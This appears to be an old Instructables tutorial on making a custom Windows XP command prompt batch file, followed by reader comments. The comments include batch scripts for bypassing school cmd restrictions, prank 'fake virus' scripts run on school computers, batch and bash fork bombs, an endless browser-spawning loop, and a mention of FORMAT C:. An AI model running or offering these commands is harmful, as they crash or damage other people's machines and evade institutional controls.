How to create your own command prompt in windows xp

 by Tuxmascot
This will teach u how to create your own command prompt!!!
 
Remove these adsRemove these ads by Signing Up

Step 1: Creating the document.

Step 1:Right click on your desktop. Select new text document.
This will create the document u need to create the command prompt.
1-40 of 63Next »
Oakley says: Jul 23, 2007. 12:10 PM
thats way to complicated man..........all u have to do is open up notepad and type command.com and save it as (watever u want).bat
SonicMooseman in reply to OakleyOct 23, 2012. 4:54 PM
Fancy seeing you here, Griff xD
cheatman093 in reply to OakleyAug 17, 2009. 5:46 PM
that doesnt always work
mooglegirl3 in reply to OakleyMay 30, 2008. 6:32 AM
no offense, but is typing so few lines such a big deal? it's like 20 seconds of copying+pasting or typing. plus this code lets you personalize it. i've never used batch code before and this is pretty cool for me.
JoeMartini in reply to mooglegirl3Apr 11, 2009. 11:29 PM
and if you continue, you can actually create text adventure games, like i have made a few.. maybe one day i'll make an instructable
Tuxmascot (author) says: Mar 30, 2012. 2:04 PM
I made this when I was a little kid in elementary school lol! I didn't think people would read it this much.
justwilliambrown in reply to TuxmascotAug 20, 2012. 5:37 AM
Well, when you get to middle and high school the techies start blocking stuff like this. Unfortunately, they blocked this one 2. If Anyone has similair versions, please let me know via privat message =)
account3r2 says: Jan 16, 2011. 1:20 PM
My version
********************

@echo off
title Command Prompt - by account3r2
ver
echo (C) Copyright Microsoft Corp.
echo.
:cmd
set /p "cmd=%cd%>"
%cmd%
echo.
goto cmd

************************
its awesome check it out copy BETWEEN THE stars (******)
thanks
Tuxmascot (author) in reply to account3r2Apr 5, 2012. 7:50 PM
Not to be degrading, but how is that different from the one you would normally use? That makes absolutely no sense.

The one in this tut, although old, is green and is completely customized based on your wants.

Trust me, if you think batch is cool, learn a new language that is actually useful like C++ or C#. Those are probably the coolest. You also have Ruby and Python which I incredibly love and Java for some cool stuff as well.
account3r2 in reply to TuxmascotApr 6, 2012. 2:34 PM
Yeah, I know that was a long time ago when I didn't know very much about programming and also that was supposed to be for schools/something that blocks the normal cmd... I have learned more programming languages and better batch programming, too... Sorry.
GUnitXIII (m) in reply to account3r2Mar 1, 2012. 6:19 PM
I cant tell what this does. I did it and it didnt do anything,
account3r2 in reply to GUnitXIII (m)Apr 4, 2012. 5:31 PM
Yeah, sorry, I made that a while ago when I didn't know that much about this stuff... I have my own instructable now but it needs work still... but I have made many versions with security from my new knowledge of the BATCH language.
TheBeanhacker says: Mar 27, 2012. 9:59 AM
you say that this is a command prompt, in ur script i see no commands at all
Tuxmascot (author) in reply to TheBeanhackerMar 30, 2012. 2:05 PM
A command prompt "prompts" you for a command. Basically, this is just a customized command prompt in windows. I might make a different one in C++ in a while.
NetDex says: Mar 17, 2010. 7:40 AM
 I think you could just like, copy cmd.exe to your flash drive, and make a batch file like the customizable kind and change the path of cmd.exe to this:
%Drive letter name%:\cmd.exe command /perameters
godzilla1517 says: Apr 1, 2008. 7:01 AM
Probably a virus.
dllhacker in reply to godzilla1517Feb 23, 2010. 5:10 PM
i tested it and it has no virus at all
Morriscow in reply to godzilla1517Feb 16, 2010. 5:17 PM
 echo off
echo Delete all files? (Y/N)
pause >nul
dir /s
dir /s
msg * All files deleted...
start http://bit.ly/RR
msg * RICK ROLL'd!!!!!!!! lol n00b


I do this to all the computers at school. lol

GUnitXIII (m) in reply to MorriscowMar 1, 2012. 6:25 PM
At school, I made an app so when you click it, the disk tray goes in and out every few seconds lol. I also have one so that when you click it, then right click or press start, it randomly clicks something lol. I put both on when there was a sub, and I brought my freind to show him my Matrix thing on the computer, the teacher was on it with a super confused/frustrated look, trying to fix it XD. Anyhoo, I edited your code a little bit because it didnt work right on mine, so use this a .bat file.

@echo off
echo Delete all files? (Y/N)
pause >nul
dir /s
echo all files deleted. press e to exit
pause >nul
echo RICK ROLL'd!!!!!!!! lol n00b
pause >nul
bhjohnp1 in reply to MorriscowSep 7, 2010. 2:48 PM
oh yeah i forgot to mention this is the first time i have been rick roll'd lol
bhjohnp1 in reply to MorriscowApr 26, 2010. 3:06 PM
You are a genious i have to do that!
hey in return ill give you something copy this and save as a batch file in notepad:
:s
start %0
goto :s

 but dont run it on ur own computer or it will crash from pulling up cmd so many times! =D
Morriscow in reply to bhjohnp1Apr 26, 2010. 4:35 PM
or you could do:


start
filename.extension*


and then name it filename.extension*
*example: hack.bat or hack.cmd
bhjohnp1 in reply to MorriscowApr 26, 2010. 5:48 PM
nice! ive never really used fake viruses, so ive got to hand it to you. Job well done!
PyRo_RaPiD in reply to godzilla1517Jul 30, 2009. 9:43 PM
(removed by author or community request)
TheBatchies in reply to PyRo_RaPiDJan 23, 2010. 7:27 AM
I take NO responsibility for this!! NONE!

@echo off
:p
start iexplore.exe
goto p
sharlston in reply to PyRo_RaPiDOct 12, 2009. 12:00 PM
did you know that typing FORMAT C: can be a virus?

i take no responsiility for what you do after reading this comment
Asday in reply to PyRo_RaPiDOct 3, 2009. 7:03 PM
:(){ :|:& };: As an answer to your question 2.
sharlston says: Oct 12, 2009. 12:00 PM
hey this is another code

@echo off
color 0a
:Input
title @ %CD%
echo.
set/p "command= +++> "
%command%
goto Input
purgedsoul says: May 20, 2007. 5:31 AM
why not just use the prompt command?
will421 in reply to purgedsoulApr 22, 2009. 6:24 PM
That`s what I meant!
will421 in reply to will421Apr 22, 2009. 6:26 PM
Well... with UI (In batch!) (aka. choice, set /p, etc.)
JoeMartini in reply to purgedsoulApr 11, 2009. 11:31 PM
you could, but practical uses of batch files can do everything in an instant, when in the actual command prompt, it could take a while to type everything
will421 says: Apr 17, 2009. 1:48 PM
Heh, you could just make a .bat file meant to be ran from cmd that does everything.(It may may be complicated!)
viktor159 says: Aug 6, 2008. 10:45 PM
what is the purpose of the @echo off
JoeMartini in reply to viktor159Apr 11, 2009. 11:27 PM
It hides the coding when actually viewing the .bat you can try going @echo on, it will make it real obvious :D
tweaker_bms says: Apr 8, 2008. 1:55 PM
It just opens as a txt file for me...what do I need to change?
JoeMartini in reply to tweaker_bmsApr 11, 2009. 11:26 PM
press SAVE AS and save it as prompt.BAT the .bat runs it in a cmd
mooglegirl3 in reply to tweaker_bmsMay 30, 2008. 6:33 AM
did you save it as .bat? when you save, you need to type the title with .bat on the end or it will open as a txt file.
MostlyHarmless says: Jan 28, 2008. 7:30 PM
Erm, no offense. But you could also press Windows Key + R to open the run box, type in cmd and hit enter. Bam, command prompt. You can take things alot further with cygwin, the linux like enviroment for windows. www.cygwin.com/
stranoster in reply to MostlyHarmlessApr 2, 2008. 11:42 PM
Many schools also disable the run dialogue.
1-40 of 63Next »
Pro

Get More Out of Instructables

Already have an Account?

close

PDF Downloads
As a Pro member, you will gain access to download any Instructable in the PDF format. You also have the ability to customize your PDF download.

Upgrade to Pro today!